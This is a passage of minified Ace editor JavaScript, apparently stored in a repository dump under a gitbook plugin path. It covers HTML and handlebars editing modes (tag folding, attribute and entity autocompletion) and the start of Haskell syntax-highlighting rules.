s(r,o.row,o.column),f=a.getCurrentToken();if(f&&f.type.indexOf(\"tag-close\")!==-1){if(f.value==\"/>\")return;while(f&&f.type.indexOf(\"tag-name\")===-1)f=a.stepBackward();if(!f)return;var l=f.value,c=a.getCurrentTokenRow();f=a.stepBackward();if(!f||f.type.indexOf(\"end-tag\")!==-1)return;if(this.voidElements&&!this.voidElements[l]){var h=r.getTokenAt(o.row,o.column+1),u=r.getLine(c),p=this.$getIndent(u),d=p+r.getTabString();return h&&h.value===\"</\"?{text:\"\\n\"+d+\"\\n\"+p,selection:[1,d.length,1,d.length]}:{text:\"\\n\"+d}}}}})};r.inherits(a,i),t.XmlBehaviour=a}),define(\"ace/mode/folding/mixed\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"./fold_mode\").FoldMode,s=t.FoldMode=function(e,t){this.defaultMode=e,this.subModes=t};r.inherits(s,i),function(){this.$getMode=function(e){typeof e!=\"string\"&&(e=e[0]);for(var t in this.subModes)if(e.indexOf(t)===0)return this.subModes[t];return null},this.$tryMode=function(e,t,n,r){var i=this.$getMode(e);return i?i.getFoldWidget(t,n,r):\"\"},this.getFoldWidget=function(e,t,n){return this.$tryMode(e.getState(n-1),e,t,n)||this.$tryMode(e.getState(n),e,t,n)||this.defaultMode.getFoldWidget(e,t,n)},this.getFoldWidgetRange=function(e,t,n){var r=this.$getMode(e.getState(n-1));if(!r||!r.getFoldWidget(e,t,n))r=this.$getMode(e.getState(n));if(!r||!r.getFoldWidget(e,t,n))r=this.defaultMode;return r.getFoldWidgetRange(e,t,n)}}.call(s.prototype)}),define(\"ace/mode/folding/xml\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/range\",\"ace/mode/folding/fold_mode\",\"ace/token_iterator\"],function(e,t,n){\"use strict\";function l(e,t){return e.type.lastIndexOf(t+\".xml\")>-1}var r=e(\"../../lib/oop\"),i=e(\"../../lib/lang\"),s=e(\"../../range\").Range,o=e(\"./fold_mode\").FoldMode,u=e(\"../../token_iterator\").TokenIterator,a=t.FoldMode=function(e,t){o.call(this),this.voidElements=e||{},this.optionalEndTags=r.mixin({},this.voidElements),t&&r.mixin(this.optionalEndTags,t)};r.inherits(a,o);var f=function(){this.tagName=\"\",this.closing=!1,this.selfClosing=!1,this.start={row:0,column:0},this.end={row:0,column:0}};(function(){this.getFoldWidget=function(e,t,n){var r=this._getFirstTagInLine(e,n);return r?r.closing||!r.tagName&&r.selfClosing?t==\"markbeginend\"?\"end\":\"\":!r.tagName||r.selfClosing||this.voidElements.hasOwnProperty(r.tagName.toLowerCase())?\"\":this._findEndTagInLine(e,n,r.tagName,r.end.column)?\"\":\"start\":\"\"},this._getFirstTagInLine=function(e,t){var n=e.getTokens(t),r=new f;for(var i=0;i<n.length;i++){var s=n[i];if(l(s,\"tag-open\")){r.end.column=r.start.column+s.value.length,r.closing=l(s,\"end-tag-open\"),s=n[++i];if(!s)return null;r.tagName=s.value,r.end.column+=s.value.length;for(i++;i<n.length;i++){s=n[i],r.end.column+=s.value.length;if(l(s,\"tag-close\")){r.selfClosing=s.value==\"/>\";break}}return r}if(l(s,\"tag-close\"))return r.selfClosing=s.value==\"/>\",r;r.start.column+=s.value.length}return null},this._findEndTagInLine=function(e,t,n,r){var i=e.getTokens(t),s=0;for(var o=0;o<i.length;o++){var u=i[o];s+=u.value.length;if(s<r)continue;if(l(u,\"end-tag-open\")){u=i[o+1];if(u&&u.value==n)return!0}}return!1},this._readTagForward=function(e){var t=e.getCurrentToken();if(!t)return null;var n=new f;do if(l(t,\"tag-open\"))n.closing=l(t,\"end-tag-open\"),n.start.row=e.getCurrentTokenRow(),n.start.column=e.getCurrentTokenColumn();else if(l(t,\"tag-name\"))n.tagName=t.value;else if(l(t,\"tag-close\"))return n.selfClosing=t.value==\"/>\",n.end.row=e.getCurrentTokenRow(),n.end.column=e.getCurrentTokenColumn()+t.value.length,e.stepForward(),n;while(t=e.stepForward());return null},this._readTagBackward=function(e){var t=e.getCurrentToken();if(!t)return null;var n=new f;do{if(l(t,\"tag-open\"))return n.closing=l(t,\"end-tag-open\"),n.start.row=e.getCurrentTokenRow(),n.start.column=e.getCurrentTokenColumn(),e.stepBackward(),n;l(t,\"tag-name\")?n.tagName=t.value:l(t,\"tag-close\")&&(n.selfClosing=t.value==\"/>\",n.end.row=e.getCurrentTokenRow(),n.end.column=e.getCurrentTokenColumn()+t.value.length)}while(t=e.stepBackward());return null},this._pop=function(e,t){while(e.length){var n=e[e.length-1];if(!t||n.tagName==t.tagName)return e.pop();if(this.optionalEndTags.hasOwnProperty(n.tagName)){e.pop();continue}return null}},this.getFoldWidgetRange=function(e,t,n){var r=this._getFirstTagInLine(e,n);if(!r)return null;var i=r.closing||r.selfClosing,o=[],a;if(!i){var f=new u(e,n,r.start.column),l={row:n,column:r.start.column+r.tagName.length+2};r.start.row==r.end.row&&(l.column=r.end.column);while(a=this._readTagForward(f)){if(a.selfClosing){if(!o.length)return a.start.column+=a.tagName.length+2,a.end.column-=2,s.fromPoints(a.start,a.end);continue}if(a.closing){this._pop(o,a);if(o.length==0)return s.fromPoints(l,a.start)}else o.push(a)}}else{var f=new u(e,n,r.end.column),c={row:n,column:r.start.column};while(a=this._readTagBackward(f)){if(a.selfClosing){if(!o.length)return a.start.column+=a.tagName.length+2,a.end.column-=2,s.fromPoints(a.start,a.end);continue}if(!a.closing){this._pop(o,a);if(o.length==0)return a.start.column+=a.tagName.length+2,a.start.row==a.end.row&&a.start.column<a.end.column&&(a.start.column=a.end.column),s.fromPoints(a.start,c)}else o.push(a)}}}}).call(a.prototype)}),define(\"ace/mode/folding/html\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/folding/mixed\",\"ace/mode/folding/xml\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"./mixed\").FoldMode,s=e(\"./xml\").FoldMode,o=e(\"./cstyle\").FoldMode,u=t.FoldMode=function(e,t){i.call(this,new s(e,t),{\"js-\":new o,\"css-\":new o})};r.inherits(u,i)}),define(\"ace/mode/html_completions\",[\"require\",\"exports\",\"module\",\"ace/token_iterator\"],function(e,t,n){\"use strict\";function f(e,t){return e.type.lastIndexOf(t+\".xml\")>-1}function l(e,t){var n=new r(e,t.row,t.column),i=n.getCurrentToken();while(i&&!f(i,\"tag-name\"))i=n.stepBackward();if(i)return i.value}function c(e,t){var n=new r(e,t.row,t.column),i=n.getCurrentToken();while(i&&!f(i,\"attribute-name\"))i=n.stepBackward();if(i)return i.value}var r=e(\"../token_iterator\").TokenIterator,i=[\"accesskey\",\"class\",\"contenteditable\",\"contextmenu\",\"dir\",\"draggable\",\"dropzone\",\"hidden\",\"id\",\"inert\",\"itemid\",\"itemprop\",\"itemref\",\"itemscope\",\"itemtype\",\"lang\",\"spellcheck\",\"style\",\"tabindex\",\"title\",\"translate\"],s=[\"onabort\",\"onblur\",\"oncancel\",\"oncanplay\",\"oncanplaythrough\",\"onchange\",\"onclick\",\"onclose\",\"oncontextmenu\",\"oncuechange\",\"ondblclick\",\"ondrag\",\"ondragend\",\"ondragenter\",\"ondragleave\",\"ondragover\",\"ondragstart\",\"ondrop\",\"ondurationchange\",\"onemptied\",\"onended\",\"onerror\",\"onfocus\",\"oninput\",\"oninvalid\",\"onkeydown\",\"onkeypress\",\"onkeyup\",\"onload\",\"onloadeddata\",\"onloadedmetadata\",\"onloadstart\",\"onmousedown\",\"onmousemove\",\"onmouseout\",\"onmouseover\",\"onmouseup\",\"onmousewheel\",\"onpause\",\"onplay\",\"onplaying\",\"onprogress\",\"onratechange\",\"onreset\",\"onscroll\",\"onseeked\",\"onseeking\",\"onselect\",\"onshow\",\"onstalled\",\"onsubmit\",\"onsuspend\",\"ontimeupdate\",\"onvolumechange\",\"onwaiting\"],o=i.concat(s),u={html:{manifest:1},head:{},title:{},base:{href:1,target:1},link:{href:1,hreflang:1,rel:{stylesheet:1,icon:1},media:{all:1,screen:1,print:1},type:{\"text/css\":1,\"image/png\":1,\"image/jpeg\":1,\"image/gif\":1},sizes:1},meta:{\"http-equiv\":{\"content-type\":1},name:{description:1,keywords:1},content:{\"text/html; charset=UTF-8\":1},charset:1},style:{type:1,media:{all:1,screen:1,print:1},scoped:1},script:{charset:1,type:{\"text/javascript\":1},src:1,defer:1,async:1},noscript:{href:1},body:{onafterprint:1,onbeforeprint:1,onbeforeunload:1,onhashchange:1,onmessage:1,onoffline:1,onpopstate:1,onredo:1,onresize:1,onstorage:1,onundo:1,onunload:1},section:{},nav:{},article:{pubdate:1},aside:{},h1:{},h2:{},h3:{},h4:{},h5:{},h6:{},header:{},footer:{},address:{},main:{},p:{},hr:{},pre:{},blockquote:{cite:1},ol:{start:1,reversed:1},ul:{},li:{value:1},dl:{},dt:{},dd:{},figure:{},figcaption:{},div:{},a:{href:1,target:{_blank:1,top:1},ping:1,rel:{nofollow:1,alternate:1,author:1,bookmark:1,help:1,license:1,next:1,noreferrer:1,prefetch:1,prev:1,search:1,tag:1},media:1,hreflang:1,type:1},em:{},strong:{},small:{},s:{},cite:{},q:{cite:1},dfn:{},abbr:{},data:{},time:{datetime:1},code:{},\"var\":{},samp:{},kbd:{},sub:{},sup:{},i:{},b:{},u:{},mark:{},ruby:{},rt:{},rp:{},bdi:{},bdo:{},span:{},br:{},wbr:{},ins:{cite:1,datetime:1},del:{cite:1,datetime:1},img:{alt:1,src:1,height:1,width:1,usemap:1,ismap:1},iframe:{name:1,src:1,height:1,width:1,sandbox:{\"allow-same-origin\":1,\"allow-top-navigation\":1,\"allow-forms\":1,\"allow-scripts\":1},seamless:{seamless:1}},embed:{src:1,height:1,width:1,type:1},object:{param:1,data:1,type:1,height:1,width:1,usemap:1,name:1,form:1,classid:1},param:{name:1,value:1},video:{src:1,autobuffer:1,autoplay:{autoplay:1},loop:{loop:1},controls:{controls:1},width:1,height:1,poster:1,muted:{muted:1},preload:{auto:1,metadata:1,none:1}},audio:{src:1,autobuffer:1,autoplay:{autoplay:1},loop:{loop:1},controls:{controls:1},muted:{muted:1},preload:{auto:1,metadata:1,none:1}},source:{src:1,type:1,media:1},track:{kind:1,src:1,srclang:1,label:1,\"default\":1},canvas:{width:1,height:1},map:{name:1},area:{shape:1,coords:1,href:1,hreflang:1,alt:1,target:1,media:1,rel:1,ping:1,type:1},svg:{},math:{},table:{summary:1},caption:{},colgroup:{span:1},col:{span:1},tbody:{},thead:{},tfoot:{},tr:{},td:{headers:1,rowspan:1,colspan:1},th:{headers:1,rowspan:1,colspan:1,scope:1},form:{\"accept-charset\":1,action:1,autocomplete:1,enctype:{\"multipart/form-data\":1,\"application/x-www-form-urlencoded\":1},method:{get:1,post:1},name:1,novalidate:1,target:{_blank:1,top:1}},fieldset:{disabled:1,form:1,name:1},legend:{},label:{form:1,\"for\":1},input:{type:{text:1,password:1,hidden:1,checkbox:1,submit:1,radio:1,file:1,button:1,reset:1,image:31,color:1,date:1,datetime:1,\"datetime-local\":1,email:1,month:1,number:1,range:1,search:1,tel:1,time:1,url:1,week:1},accept:1,alt:1,autocomplete:{on:1,off:1},autofocus:{autofocus:1},checked:{checked:1},disabled:{disabled:1},form:1,formaction:1,formenctype:{\"application/x-www-form-urlencoded\":1,\"multipart/form-data\":1,\"text/plain\":1},formmethod:{get:1,post:1},formnovalidate:{formnovalidate:1},formtarget:{_blank:1,_self:1,_parent:1,_top:1},height:1,list:1,max:1,maxlength:1,min:1,multiple:{multiple:1},pattern:1,placeholder:1,readonly:{readonly:1},required:{required:1},size:1,src:1,step:1,width:1,files:1,value:1},button:{autofocus:1,disabled:{disabled:1},form:1,formaction:1,formenctype:1,formmethod:1,formnovalidate:1,formtarget:1,name:1,value:1,type:{button:1,submit:1}},select:{autofocus:1,disabled:1,form:1,multiple:{multiple:1},name:1,size:1,readonly:{readonly:1}},datalist:{},optgroup:{disabled:1,label:1},option:{disabled:1,selected:1,label:1,value:1},textarea:{autofocus:{autofocus:1},disabled:{disabled:1},form:1,maxlength:1,name:1,placeholder:1,readonly:{readonly:1},required:{required:1},rows:1,cols:1,wrap:{on:1,off:1,hard:1,soft:1}},keygen:{autofocus:1,challenge:{challenge:1},disabled:{disabled:1},form:1,keytype:{rsa:1,dsa:1,ec:1},name:1},output:{\"for\":1,form:1,name:1},progress:{value:1,max:1},meter:{value:1,min:1,max:1,low:1,high:1,optimum:1},details:{open:1},summary:{},command:{type:1,label:1,icon:1,disabled:1,checked:1,radiogroup:1,command:1},menu:{type:1,label:1},dialog:{open:1}},a=Object.keys(u),h=function(){};(function(){this.getCompletions=function(e,t,n,r){var i=t.getTokenAt(n.row,n.column);if(!i)return[];if(f(i,\"tag-name\")||f(i,\"tag-open\")||f(i,\"end-tag-open\"))return this.getTagCompletions(e,t,n,r);if(f(i,\"tag-whitespace\")||f(i,\"attribute-name\"))return this.getAttributeCompletions(e,t,n,r);if(f(i,\"attribute-value\"))return this.getAttributeValueCompletions(e,t,n,r);var s=t.getLine(n.row).substr(0,n.column);return/&[A-z]*$/i.test(s)?this.getHTMLEntityCompletions(e,t,n,r):[]},this.getTagCompletions=function(e,t,n,r){return a.map(function(e){return{value:e,meta:\"tag\",score:Number.MAX_VALUE}})},this.getAttributeCompletions=function(e,t,n,r){var i=l(t,n);if(!i)return[];var s=o;return i in u&&(s=s.concat(Object.keys(u[i]))),s.map(function(e){return{caption:e,snippet:e+'=\"$0\"',meta:\"attribute\",score:Number.MAX_VALUE}})},this.getAttributeValueCompletions=function(e,t,n,r){var i=l(t,n),s=c(t,n);if(!i)return[];var o=[];return i in u&&s in u[i]&&typeof u[i][s]==\"object\"&&(o=Object.keys(u[i][s])),o.map(function(e){return{caption:e,snippet:e,meta:\"attribute value\",score:Number.MAX_VALUE}})},this.getHTMLEntityCompletions=function(e,t,n,r){var i=[\"&Aacute;\",\"&aacute;\",\"&Acirc;\",\"&acirc;\",\"&acute;\",\"&AElig;\",\"&aelig;\",\"&Agrave;\",\"&agrave;\",\"&alefsym;\",\"&Alpha;\",\"&alpha;\",\"&amp;\",\"&and;\",\"&ang;\",\"&Aring;\",\"&aring;\",\"&asymp;\",\"&Atilde;\",\"&atilde;\",\"&Auml;\",\"&auml;\",\"&bdquo;\",\"&Beta;\",\"&beta;\",\"&brvbar;\",\"&bull;\",\"&cap;\",\"&Ccedil;\",\"&ccedil;\",\"&cedil;\",\"&cent;\",\"&Chi;\",\"&chi;\",\"&circ;\",\"&clubs;\",\"&cong;\",\"&copy;\",\"&crarr;\",\"&cup;\",\"&curren;\",\"&Dagger;\",\"&dagger;\",\"&dArr;\",\"&darr;\",\"&deg;\",\"&Delta;\",\"&delta;\",\"&diams;\",\"&divide;\",\"&Eacute;\",\"&eacute;\",\"&Ecirc;\",\"&ecirc;\",\"&Egrave;\",\"&egrave;\",\"&empty;\",\"&emsp;\",\"&ensp;\",\"&Epsilon;\",\"&epsilon;\",\"&equiv;\",\"&Eta;\",\"&eta;\",\"&ETH;\",\"&eth;\",\"&Euml;\",\"&euml;\",\"&euro;\",\"&exist;\",\"&fnof;\",\"&forall;\",\"&frac12;\",\"&frac14;\",\"&frac34;\",\"&frasl;\",\"&Gamma;\",\"&gamma;\",\"&ge;\",\"&gt;\",\"&hArr;\",\"&harr;\",\"&hearts;\",\"&hellip;\",\"&Iacute;\",\"&iacute;\",\"&Icirc;\",\"&icirc;\",\"&iexcl;\",\"&Igrave;\",\"&igrave;\",\"&image;\",\"&infin;\",\"&int;\",\"&Iota;\",\"&iota;\",\"&iquest;\",\"&isin;\",\"&Iuml;\",\"&iuml;\",\"&Kappa;\",\"&kappa;\",\"&Lambda;\",\"&lambda;\",\"&lang;\",\"&laquo;\",\"&lArr;\",\"&larr;\",\"&lceil;\",\"&ldquo;\",\"&le;\",\"&lfloor;\",\"&lowast;\",\"&loz;\",\"&lrm;\",\"&lsaquo;\",\"&lsquo;\",\"&lt;\",\"&macr;\",\"&mdash;\",\"&micro;\",\"&middot;\",\"&minus;\",\"&Mu;\",\"&mu;\",\"&nabla;\",\"&nbsp;\",\"&ndash;\",\"&ne;\",\"&ni;\",\"&not;\",\"&notin;\",\"&nsub;\",\"&Ntilde;\",\"&ntilde;\",\"&Nu;\",\"&nu;\",\"&Oacute;\",\"&oacute;\",\"&Ocirc;\",\"&ocirc;\",\"&OElig;\",\"&oelig;\",\"&Ograve;\",\"&ograve;\",\"&oline;\",\"&Omega;\",\"&omega;\",\"&Omicron;\",\"&omicron;\",\"&oplus;\",\"&or;\",\"&ordf;\",\"&ordm;\",\"&Oslash;\",\"&oslash;\",\"&Otilde;\",\"&otilde;\",\"&otimes;\",\"&Ouml;\",\"&ouml;\",\"&para;\",\"&part;\",\"&permil;\",\"&perp;\",\"&Phi;\",\"&phi;\",\"&Pi;\",\"&pi;\",\"&piv;\",\"&plusmn;\",\"&pound;\",\"&Prime;\",\"&prime;\",\"&prod;\",\"&prop;\",\"&Psi;\",\"&psi;\",\"&quot;\",\"&radic;\",\"&rang;\",\"&raquo;\",\"&rArr;\",\"&rarr;\",\"&rceil;\",\"&rdquo;\",\"&real;\",\"&reg;\",\"&rfloor;\",\"&Rho;\",\"&rho;\",\"&rlm;\",\"&rsaquo;\",\"&rsquo;\",\"&sbquo;\",\"&Scaron;\",\"&scaron;\",\"&sdot;\",\"&sect;\",\"&shy;\",\"&Sigma;\",\"&sigma;\",\"&sigmaf;\",\"&sim;\",\"&spades;\",\"&sub;\",\"&sube;\",\"&sum;\",\"&sup;\",\"&sup1;\",\"&sup2;\",\"&sup3;\",\"&supe;\",\"&szlig;\",\"&Tau;\",\"&tau;\",\"&there4;\",\"&Theta;\",\"&theta;\",\"&thetasym;\",\"&thinsp;\",\"&THORN;\",\"&thorn;\",\"&tilde;\",\"&times;\",\"&trade;\",\"&Uacute;\",\"&uacute;\",\"&uArr;\",\"&uarr;\",\"&Ucirc;\",\"&ucirc;\",\"&Ugrave;\",\"&ugrave;\",\"&uml;\",\"&upsih;\",\"&Upsilon;\",\"&upsilon;\",\"&Uuml;\",\"&uuml;\",\"&weierp;\",\"&Xi;\",\"&xi;\",\"&Yacute;\",\"&yacute;\",\"&yen;\",\"&Yuml;\",\"&yuml;\",\"&Zeta;\",\"&zeta;\",\"&zwj;\",\"&zwnj;\"];return i.map(function(e){return{caption:e,snippet:e.substr(1),meta:\"html entity\",score:Number.MAX_VALUE}})}}).call(h.prototype),t.HtmlCompletions=h}),define(\"ace/mode/html\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/text\",\"ace/mode/javascript\",\"ace/mode/css\",\"ace/mode/html_highlight_rules\",\"ace/mode/behaviour/xml\",\"ace/mode/folding/html\",\"ace/mode/html_completions\",\"ace/worker/worker_client\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./text\").Mode,o=e(\"./javascript\").Mode,u=e(\"./css\").Mode,a=e(\"./html_highlight_rules\").HtmlHighlightRules,f=e(\"./behaviour/xml\").XmlBehaviour,l=e(\"./folding/html\").FoldMode,c=e(\"./html_completions\").HtmlCompletions,h=e(\"../worker/worker_client\").WorkerClient,p=[\"area\",\"base\",\"br\",\"col\",\"embed\",\"hr\",\"img\",\"input\",\"keygen\",\"link\",\"meta\",\"menuitem\",\"param\",\"source\",\"track\",\"wbr\"],d=[\"li\",\"dt\",\"dd\",\"p\",\"rt\",\"rp\",\"optgroup\",\"option\",\"colgroup\",\"td\",\"th\"],v=function(e){this.fragmentContext=e&&e.fragmentContext,this.HighlightRules=a,this.$behaviour=new f,this.$completer=new c,this.createModeDelegates({\"js-\":o,\"css-\":u}),this.foldingRules=new l(this.voidElements,i.arrayToMap(d))};r.inherits(v,s),function(){this.blockComment={start:\"<!--\",end:\"-->\"},this.voidElements=i.arrayToMap(p),this.getNextLineIndent=function(e,t,n){return this.$getIndent(t)},this.checkOutdent=function(e,t,n){return!1},this.getCompletions=function(e,t,n,r){return this.$completer.getCompletions(e,t,n,r)},this.createWorker=function(e){if(this.constructor!=v)return;var t=new h([\"ace\"],\"ace/mode/html_worker\",\"Worker\");return t.attachToDocument(e.getDocument()),this.fragmentContext&&t.call(\"setOptions\",[{context:this.fragmentContext}]),t.on(\"error\",function(t){e.setAnnotations(t.data)}),t.on(\"terminate\",function(){e.clearAnnotations()}),t},this.$id=\"ace/mode/html\"}.call(v.prototype),t.Mode=v}),define(\"ace/mode/handlebars_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/html_highlight_rules\"],function(e,t,n){\"use strict\";function s(e,t){return t.splice(0,3),t.shift()||\"start\"}var r=e(\"../lib/oop\"),i=e(\"./html_highlight_rules\").HtmlHighlightRules,o=function(){i.call(this);var e={regex:\"(?={{)\",push:\"handlebars\"};for(var t in this.$rules)this.$rules[t].unshift(e);this.$rules.handlebars=[{token:\"comment.start\",regex:\"{{!--\",push:[{token:\"comment.end\",regex:\"--}}\",next:s},{defaultToken:\"comment\"}]},{token:\"comment.start\",regex:\"{{!\",push:[{token:\"comment.end\",regex:\"}}\",next:s},{defaultToken:\"comment\"}]},{token:\"support.function\",regex:\"{{{\",push:[{token:\"support.function\",regex:\"}}}\",next:s},{token:\"variable.parameter\",regex:\"[a-zA-Z_$][a-zA-Z0-9_$]*\"}]},{token:\"storage.type.start\",regex:\"{{[#\\\\^/&]?\",push:[{token:\"storage.type.end\",regex:\"}}\",next:s},{token:\"variable.parameter\",regex:\"[a-zA-Z_$][a-zA-Z0-9_$]*\"}]}],this.normalizeRules()};r.inherits(o,i),t.HandlebarsHighlightRules=o}),define(\"ace/mode/behaviour/html\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour/xml\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour/xml\").XmlBehaviour,s=function(){i.call(this)};r.inherits(s,i),t.HtmlBehaviour=s}),define(\"ace/mode/handlebars\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/html\",\"ace/mode/handlebars_highlight_rules\",\"ace/mode/behaviour/html\",\"ace/mode/folding/html\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./html\").Mode,s=e(\"./handlebars_highlight_rules\").HandlebarsHighlightRules,o=e(\"./behaviour/html\").HtmlBehaviour,u=e(\"./folding/html\").FoldMode,a=function(){i.call(this),this.HighlightRules=s,this.$behaviour=new o,this.foldingRules=new u};r.inherits(a,i),function(){this.blockComment={start:\"{{!--\",end:\"--}}\"},this.$id=\"ace/mode/handlebars\"}.call(a.prototype),t.Mode=a})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-haskell.js",
    "content": "define(\"ace/mode/haskell_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:[\"punctuation.definition.entity.haskell\",\"keyword.operator.function.infix.haskell\",\"punctuation.definition.entity.haskell\"],regex:\"(`)([a-zA-Z_']*?)(`)\",comment:\"In case this regex seems unusual for an infix operator, note that Haskell allows any ordinary function application (elem 4 [1..10]) to be rewritten as an infix expression (4 `elem` [1..10]).\"},{token:\"constant.language.unit.haskell\",regex:\"\\\\(\\\\)\"},{token:\"constant.language.empty-list.haskell\",regex:\"\\\\[\\\\]\"},{token:\"keyword.other.haskell\",regex:\"\\\\bmodule\\\\b\",push:[{token:\"keyword.other.haskell\",regex:\"\\\\bwhere\\\\b\",next:\"pop\"},{include:\"#module_name\"},{include:\"#module_exports\"},{token:\"invalid\",regex:\"[a-z]+\"},{defaultToken:\"meta.declaration.module.haskell\"}]},{token:\"keyword.other.haskell\",regex:\"\\\\bclass\\\\b\",push:[{token:\"keyword.other.haskell\",regex:\"\\\\bwhere\\\\b\",next:\"pop\"},{token:\"support.class.prelude.haskell\",regex:\"\\\\b(?:Monad|Functor|Eq|Ord|Read|Show|Num|(?:Frac|Ra)tional|Enum|Bounded|Real(?:Frac|Float)?|Integral|Floating)\\\\b\"},{token:\"entity.other.inherited-class.haskell\",regex:\"[A-Z][A-Za-z_']*\"},{token:\"variable.other.generic-type.haskell\",regex:\"\\\\b[a-z][a-zA-Z0-9_']*\\\\b\"},{defaultToken:\"meta.declaration.class.haskell\"}]},{token:\"keyword.other.haskell\",regex:\"\\\\binstance\\\\b\",push:[{token:\"keyword.other.haskell\",regex:\"\\\\bwhere\\\\b|$\",next:\"pop\"},{include:\"#type_signature\"},{defaultToken:\"meta.declaration.instance.haskell\"}]},{token:\"keyword.other.haskell\",regex:\"import\",push:[{token:\"meta.import.haskell\",regex:\"$|;\",next:\"pop\"},{token:\"keyword.other.haskell\",regex:\"qualified|as|hiding\"},{include:\"#module_name\"},{include:\"#module_exports\"},{defaultToken:\"meta.import.haskell\"}]},{token:[\"keyword.other.haskell\",\"meta.deriving.haskell\"],regex:\"(deriving)(\\\\s*\\\\()\",push:[{token:\"meta.deriving.haskell\",regex:\"\\\\)\",next:\"pop\"},{token:\"entity.other.inherited-class.haskell\",regex:\"\\\\b[A-Z][a-zA-Z_']*\"},{defaultToken:\"meta.deriving.haskell\"}]},{token:\"keyword.other.haskell\",regex:\"\\\\b(?:deriving|where|data|type|case|of|let|in|newtype|default)\\\\b\"},{token:\"keyword.operator.haskell\",regex:\"\\\\binfix[lr]?\\\\b\"},{token:\"keyword.control.haskell\",regex:\"\\\\b(?:do|if|then|else)\\\\b\"},{token:\"constant.numeric.float.haskell\",regex:\"\\\\b(?:[0-9]+\\\\.[0-9]+(?:[eE][+-]?[0-9]+)?|[0-9]+[eE][+-]?[0-9]+)\\\\b\",comment:\"Floats are always decimal\"},{token:\"constant.numeric.haskell\",regex:\"\\\\b(?:[0-9]+|0(?:[xX][0-9a-fA-F]+|[oO][0-7]+))\\\\b\"},{token:[\"meta.preprocessor.c\",\"punctuation.definition.preprocessor.c\",\"meta.preprocessor.c\"],regex:\"^(\\\\s*)(#)(\\\\s*\\\\w+)\",comment:'In addition to Haskell\\'s \"native\" syntax, GHC permits the C preprocessor to be run on a source file.'},{include:\"#pragma\"},{token:\"punctuation.definition.string.begin.haskell\",regex:'\"',push:[{token:\"punctuation.definition.string.end.haskell\",regex:'\"',next:\"pop\"},{token:\"constant.character.escape.haskell\",regex:\"\\\\\\\\(?:NUL|SOH|STX|ETX|EOT|ENQ|ACK|BEL|BS|HT|LF|VT|FF|CR|SO|SI|DLE|DC1|DC2|DC3|DC4|NAK|SYN|ETB|CAN|EM|SUB|ESC|FS|GS|RS|US|SP|DEL|[abfnrtv\\\\\\\\\\\\\\\"'\\\\&])\"},{token:\"constant.character.escape.octal.haskell\",regex:\"\\\\\\\\o[0-7]+|\\\\\\\\x[0-9A-Fa-f]+|\\\\\\\\[0-9]+\"},{token:\"constant.character.escape.control.haskell\",regex:\"\\\\^[A-Z@\\\\[\\\\]\\\\\\\\\\\\^_]\"},{defaultToken:\"string.quoted.double.haskell\"}]},{token:[\"punctuation.definition.string.begin.haskell\",\"string.quoted.single.haskell\",\"constant.character.escape.haskell\",\"constant.character.escape.octal.haskell\",\"constant.character.escape.hexadecimal.haskell\",\"constant.character.escape.control.haskell\",\"punctuation.definition.string.end.haskell\"],regex:\"(')(?:([\\\\ -\\\\[\\\\]-~])|(\\\\\\\\(?:NUL|SOH|STX|ETX|EOT|ENQ|ACK|BEL|BS|HT|LF|VT|FF|CR|SO|SI|DLE|DC1|DC2|DC3|DC4|NAK|SYN|ETB|CAN|EM|SUB|ESC|FS|GS|RS|US|SP|DEL|[abfnrtv\\\\\\\\\\\\\\\"'\\\\&]))|(\\\\\\\\o[0-7]+)|(\\\\\\\\x[0-9A-Fa-f]+)|(\\\\^[A-Z@\\\\[\\\\]\\\\\\\\\\\\^_]))(')\"},{token:[\"meta.function.type-declaration.haskell\",\"entity.name.function.haskell\",\"meta.function.type-declaration.haskell\",\"keyword.other.double-colon.haskell\"],regex:\"^(\\\\s*)([a-z_][a-zA-Z0-9_']*|\\\\([|!%$+\\\\-.,=</>]+\\\\))(\\\\s*)(::)\",push:[{token:\"meta.function.type-declaration.haskell\",regex:\"$\",next:\"pop\"},{include:\"#type_signature\"},{defaultToken:\"meta.function.type-declaration.haskell\"}]},{token:\"support.constant.haskell\",regex:\"\\\\b(?:Just|Nothing|Left|Right|True|False|LT|EQ|GT|\\\\(\\\\)|\\\\[\\\\])\\\\b\"},{token:\"constant.other.haskell\",regex:\"\\\\b[A-Z]\\\\w*\\\\b\"},{include:\"#comments\"},{token:\"support.function.prelude.haskell\",regex:\"\\\\b(?:abs|acos|acosh|all|and|any|appendFile|applyM|asTypeOf|asin|asinh|atan|atan2|atanh|break|catch|ceiling|compare|concat|concatMap|const|cos|cosh|curry|cycle|decodeFloat|div|divMod|drop|dropWhile|elem|encodeFloat|enumFrom|enumFromThen|enumFromThenTo|enumFromTo|error|even|exp|exponent|fail|filter|flip|floatDigits|floatRadix|floatRange|floor|fmap|foldl|foldl1|foldr|foldr1|fromEnum|fromInteger|fromIntegral|fromRational|fst|gcd|getChar|getContents|getLine|head|id|init|interact|ioError|isDenormalized|isIEEE|isInfinite|isNaN|isNegativeZero|iterate|last|lcm|length|lex|lines|log|logBase|lookup|map|mapM|mapM_|max|maxBound|maximum|maybe|min|minBound|minimum|mod|negate|not|notElem|null|odd|or|otherwise|pi|pred|print|product|properFraction|putChar|putStr|putStrLn|quot|quotRem|read|readFile|readIO|readList|readLn|readPar